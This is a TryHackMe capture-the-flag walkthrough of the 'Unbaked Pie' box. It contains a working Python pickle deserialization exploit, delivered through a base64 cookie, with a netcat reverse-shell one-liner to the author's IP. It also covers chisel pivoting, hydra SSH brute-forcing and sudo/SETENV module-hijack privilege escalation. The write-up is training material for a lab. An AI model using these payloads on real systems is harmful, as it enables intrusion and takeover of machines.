rootπŸ’€haxor:~#

Try Harder!.

View on GitHub

UnbackedPie TryHackMe

Difficulty = Medium

Nmap Scan: image

# Nmap 7.92 scan initiated Sat Jan  7 04:17:47 2023 as: nmap -sCV -p 5003 -oN nmapscan -Pn 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up (0.17s latency).

PORT     STATE SERVICE    VERSION
5003/tcp open  filemaker?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sat, 07 Jan 2023 03:17:54 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=54Ujr9NU5L86w9hShEChqIAlsZCoJBLfgBTxz7gYM1G7mS92Q4OX65hCB31xitni; expires=Sat, 06 Jan 2024 03:17:54 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|     <meta name="description" content="">
|     <meta name="author" content="">
|     <title>[Un]baked | /</title>
|     <!-- Bootstrap core CSS -->
|     <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|     <!-- Custom fonts for this template -->
|     <link href="/static/vendor/fontawesome-free/css/all.min.cs
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 07 Jan 2023 03:17:55 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=FMOXTiI41MdRPJ8TtubJzr01YLpaXXzJCzRYMdwruz4DpMKympew4W9Dk0QEqMq1; expires=Sat, 06 Jan 2024 03:17:55 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|     <meta name="description" content="">
|     <meta name="author" content="">
|     <title>[Un]baked | /</title>
|     <!-- Bootstrap core CSS -->
|     <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|     <!-- Custom fonts for this template -->
|_    <link href="/static/vendor/fontawesome-free/css/all.min.cs
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5003-TCP:V=7.92%I=7%D=1/7%Time=63B8E462%P=x86_64-pc-linux-gnu%r(Get
SF:Request,1EC5,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sat,\x2007\x20Jan\x202
SF:023\x2003:17:54\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/3\.8\.6
SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Options:\x2
SF:0DENY\r\nVary:\x20Cookie\r\nContent-Length:\x207453\r\nX-Content-Type-O
SF:ptions:\x20nosniff\r\nReferrer-Policy:\x20same-origin\r\nSet-Cookie:\x2
SF:0\x20csrftoken=54Ujr9NU5L86w9hShEChqIAlsZCoJBLfgBTxz7gYM1G7mS92Q4OX65hC
SF:B31xitni;\x20expires=Sat,\x2006\x20Jan\x202024\x2003:17:54\x20GMT;\x20M
SF:ax-Age=31449600;\x20Path=/;\x20SameSite=Lax\r\n\r\n\n<!DOCTYPE\x20html>
SF:\n<html\x20lang=\"en\">\n\n<head>\n\n\x20\x20<meta\x20charset=\"utf-8\"
SF:>\n\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\
SF:x20initial-scale=1,\x20shrink-to-fit=no\">\n\x20\x20<meta\x20name=\"des
SF:cription\"\x20content=\"\">\n\x20\x20<meta\x20name=\"author\"\x20conten
SF:t=\"\">\n\n\x20\x20<title>\[Un\]baked\x20\|\x20/</title>\n\n\x20\x20<!-
SF:-\x20Bootstrap\x20core\x20CSS\x20-->\n\x20\x20<link\x20href=\"/static/v
SF:endor/bootstrap/css/bootstrap\.min\.css\"\x20rel=\"stylesheet\">\n\n\x2
SF:0\x20<!--\x20Custom\x20fonts\x20for\x20this\x20template\x20-->\n\x20\x2
SF:0<link\x20href=\"/static/vendor/fontawesome-free/css/all\.min\.cs")%r(H
SF:TTPOptions,1EC5,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sat,\x2007\x20Jan\x
SF:202023\x2003:17:55\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/3\.8
SF:\.6\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Options:
SF:\x20DENY\r\nVary:\x20Cookie\r\nContent-Length:\x207453\r\nX-Content-Typ
SF:e-Options:\x20nosniff\r\nReferrer-Policy:\x20same-origin\r\nSet-Cookie:
SF:\x20\x20csrftoken=FMOXTiI41MdRPJ8TtubJzr01YLpaXXzJCzRYMdwruz4DpMKympew4
SF:W9Dk0QEqMq1;\x20expires=Sat,\x2006\x20Jan\x202024\x2003:17:55\x20GMT;\x
SF:20Max-Age=31449600;\x20Path=/;\x20SameSite=Lax\r\n\r\n\n<!DOCTYPE\x20ht
SF:ml>\n<html\x20lang=\"en\">\n\n<head>\n\n\x20\x20<meta\x20charset=\"utf-
SF:8\">\n\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-widt
SF:h,\x20initial-scale=1,\x20shrink-to-fit=no\">\n\x20\x20<meta\x20name=\"
SF:description\"\x20content=\"\">\n\x20\x20<meta\x20name=\"author\"\x20con
SF:tent=\"\">\n\n\x20\x20<title>\[Un\]baked\x20\|\x20/</title>\n\n\x20\x20
SF:<!--\x20Bootstrap\x20core\x20CSS\x20-->\n\x20\x20<link\x20href=\"/stati
SF:c/vendor/bootstrap/css/bootstrap\.min\.css\"\x20rel=\"stylesheet\">\n\n
SF:\x20\x20<!--\x20Custom\x20fonts\x20for\x20this\x20template\x20-->\n\x20
SF:\x20<link\x20href=\"/static/vendor/fontawesome-free/css/all\.min\.cs");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan  7 04:19:22 2023 -- 1 IP address (1 host up) scanned in 95.23 seconds

From the scan we can tell its a linux box. And from looking at the result nmap fingerprinted on the web service running we see its using python as its server.

Now i’ll check out what the site is all about. image image

We see its more of a site that shares various recipes.

On looking at the top of the page we see that there’s a search bar, a login form and a signup form.

I’ll check out the search function first and i’ll be intercepting the request using burp suite. image

We just see that its like a normal search post request which includes a csrf token and the search query. With this i want to know what the response to the server will be. image image

Hmmmm, we see that it sets a new cookie called search_cookie and gives it a value. I’ll decode the value to see what the encoded string means. image

On decoding it we see that it does contain the string we searched for which was lol, it then converted it to an object for the web server to understand and from this theory what we can assume that what is happening here is that its serializing the search query content and encoding it in base64.

Now lets confirm it by decoding it using python with pickle and base64 library. image

And from the result we can tell it is indeed performing serialization on the content of the search query.

Now from the web post request we see that the search value is then set as a cookie which has a name search_cookie.

So now we want to perform deserialization attack we can leverage this instead of intercepting each request and forwarding it we will send this to repeater. image

Now the next thing i did was to make a python script to perfrom a deserialization attack in which the web server will deserialize the malicious content given then run it.

image

import pickle
import os
import base64
#@author: Hack.You

class exploit:
	def __reduce__(self):
		cmd = ('ping -c 2 10.14.33.50')
		return os.system, (cmd,)

exploit_code = exploit()
serialized = pickle.dumps(exploit_code)
encode = base64.b64encode(serialized)
print(encode)

So what this script does is that it imports the necessary requirement needed to perform the deserialization, makes a class which uses the pickle reduce method of pickling then defines a variable which holds the command to be ran, after that it calls the class function and dumps the object value which is later then encoded in base64 and printed out.

Now since the command i used is to ping our hosts, we would want to confirm that it is indeed performing the ping request, i then set up tcpdump which will listen for icmp packets getting to our hosts.

So lets run the command and see if it works. image

Now replacing the newly created base64 payload in the search_cookie parameter value. image

After sending the request. I get call back from our tcpdump listener. image

Now lets get a reverse shell with this vulnerability. So i edited the code to run the command of a bash reverse shell. image image image

import pickle
import os
import base64
#@author: Hack.You

class exploit:
	def __reduce__(self):
		cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.33.50 46074 >/tmp/f')
		return os.system, (cmd,)

exploit_code = exploit()
serialized = pickle.dumps(exploit_code)
encode = base64.b64encode(serialized)
print(encode)

On sending the request again, I get a call back from our listener. image

From the result we see that this is a container cause the hostname is weird but we can also confirm it by checking the /.dockerenv file or the groups file anyone works.

Anyways lets move on.

On checking the root directory we see that there’s a .bash_history file in it. image

Viewing the content of this file shows this. image

Checking the file we see that the root user in the docker container tried to ssh to another subnet on the box. So I’ll just perform the same step.

The problem is that there’s no ssh on this docker container.

image

To move over this we are going to have to port forward the internal subnet ssh over to our localhost and i’ll be using chisel to perform this.

On our attacking host we run this command. image

While on the target host we run this. image

We can see that its connected but now lets confirm it. image image

I port forwarded it successfully and i’ll like to ssh with the user ramsey. But just one problem I don’t know his password.

So the next thing i did was to brute force ssh using hydra and after few seconds we get a password match. image

Now lets login via ssh. And now we’re in.

image

Lets escalate our privilege πŸ€“

On doing sudo -l we see that the user can run a python script as user oliver. image

Now lets check the content of this script. I had to transfer it over to my machine to view it properly. image image

#!/usr/bin/python
# coding=utf-8

try:
    from PIL import Image
except ImportError:
    import Image
import pytesseract
import sys
import os
import time


#Header
def header():
	banner = '''\033[33m                                             
				      (
				       )
			          __..---..__
			      ,-='  /  |  \  `=-.
			     :--..___________..--;
	 		      \.,_____________,./
		 

β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•
β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—
β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β•šβ•β•β•β•β–ˆβ–ˆβ•‘
β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘
β•šβ•β•β•šβ•β•  β•šβ•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•  β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β• β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•β•β•   β•šβ•β•   β•šβ•β•β•β•β•β•β•
\033[m'''
    	return banner

#Function Instructions
def instructions():
	print "\n\t\t\t",9 * "-" , "WELCOME!" , 9 * "-"
	print "\t\t\t","1. Calculator"
	print "\t\t\t","2. Easy Calculator"
	print "\t\t\t","3. Credits"
	print "\t\t\t","4. Exit"
	print "\t\t\t",28 * "-"

def instructions2():
	print "\n\t\t\t",9 * "-" , "CALCULATOR!" , 9 * "-"
	print "\t\t\t","1. Add"
	print "\t\t\t","2. Subtract"
	print "\t\t\t","3. Multiply"
	print "\t\t\t","4. Divide"
	print "\t\t\t","5. Back"
	print "\t\t\t",28 * "-"
	
def credits():
	print "\n\t\tHope you enjoy learning new things  - Ch4rm & H0j3n\n"
	
# Function Arithmetic

# Function to add two numbers  
def add(num1, num2): 
    return num1 + num2 
  
# Function to subtract two numbers  
def subtract(num1, num2): 
    return num1 - num2 
  
# Function to multiply two numbers 
def multiply(num1, num2): 
    return num1 * num2 
  
# Function to divide two numbers 
def divide(num1, num2): 
    return num1 / num2 
# Main    	
if __name__ == "__main__":
	print header()
	
	#Variables
	OPTIONS = 0
	OPTIONS2 = 0
	TOTAL = 0
	NUM1 = 0
	NUM2 = 0

	while(OPTIONS != 4):
		instructions()
		OPTIONS = int(input("\t\t\tEnter Options >> "))
	        print "\033c"
		if OPTIONS == 1:
			instructions2()
			OPTIONS2 = int(input("\t\t\tEnter Options >> "))
			print "\033c"
			if OPTIONS2 == 5:
				continue
			else:
				NUM1 = int(input("\t\t\tEnter Number1 >> "))
				NUM2 = int(input("\t\t\tEnter Number2 >> "))
				if OPTIONS2 == 1:
					TOTAL = add(NUM1,NUM2)
				if OPTIONS2 == 2:
					TOTAL = subtract(NUM1,NUM2)
				if OPTIONS2 == 3:
					TOTAL = multiply(NUM1,NUM2)
				if OPTIONS2 == 4:
					TOTAL = divide(NUM1,NUM2)
				print "\t\t\tTotal >> $",TOTAL
		if OPTIONS == 2:
			animation = ["[β– β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘]","[β– β– β–‘β–‘β–‘β–‘β–‘β–‘β–‘β–‘]", "[β– β– β– β–‘β–‘β–‘β–‘β–‘β–‘β–‘]", "[β– β– β– β– β–‘β–‘β–‘β–‘β–‘β–‘]", "[β– β– β– β– β– β–‘β–‘β–‘β–‘β–‘]", "[β– β– β– β– β– β– β–‘β–‘β–‘β–‘]", "[β– β– β– β– β– β– β– β–‘β–‘β–‘]", "[β– β– β– β– β– β– β– β– β–‘β–‘]", "[β– β– β– β– β– β– β– β– β– β–‘]", "[β– β– β– β– β– β– β– β– β– β– ]"]

			print "\r\t\t\t     Waiting to extract..."
			for i in range(len(animation)):
			    time.sleep(0.5)
			    sys.stdout.write("\r\t\t\t         " + animation[i % len(animation)])
			    sys.stdout.flush()

			LISTED = pytesseract.image_to_string(Image.open('payload.png')) 

			TOTAL = eval(LISTED)
			print "\n\n\t\t\tTotal >> $",TOTAL
		if OPTIONS == 3:
			credits()
	sys.exit(-1)
	

Well this is quite a lot of code which probably has to deal with exploiting a vulnerability which lays in the code, but since i can’t figure my way out in this code I used another way xD

On checking the owners of the vuln.py file we see that we have access over this file which means that we can edit it also. image

What i did was to replace the real file to another one and make a code which will grant me shell which of cause i replaced back to the vuln.py file. (P.S: I imported time just for fancy and didn’t really call it in the code forgive my noob coding πŸ˜‚) image

Now lets check the sudo perm we’ve got over this file and run it. image

Now that we are oliver lets further escalate our privilege.

On checking the sudo permission this user have we see that it can run as root over a script located in the /opt directory another thing that caught my attention is the SETENV permission given also.

What the SETENV basically does is that it allows a user to specify the path where the modules being called in a script is found. image

Lets see the content of the script the user can run as root. image

So after reading this blog post i was able to understand how we can leverage this permission and exploit it. image image

And now from the content of the /opt/dockerScript.py file, we can see that it imports docker library then runs the code. image

To leverage this, I’ll make a docker.py file which has the content that will rather grant us a bash shell.

Then specify the path the dockerScript to take is the path we made our own docker.py file which in this case i did it in the users directory image

Then running the command and specifying the path for the modules to be imported we have a root shell. image

And we’re done



Back To Home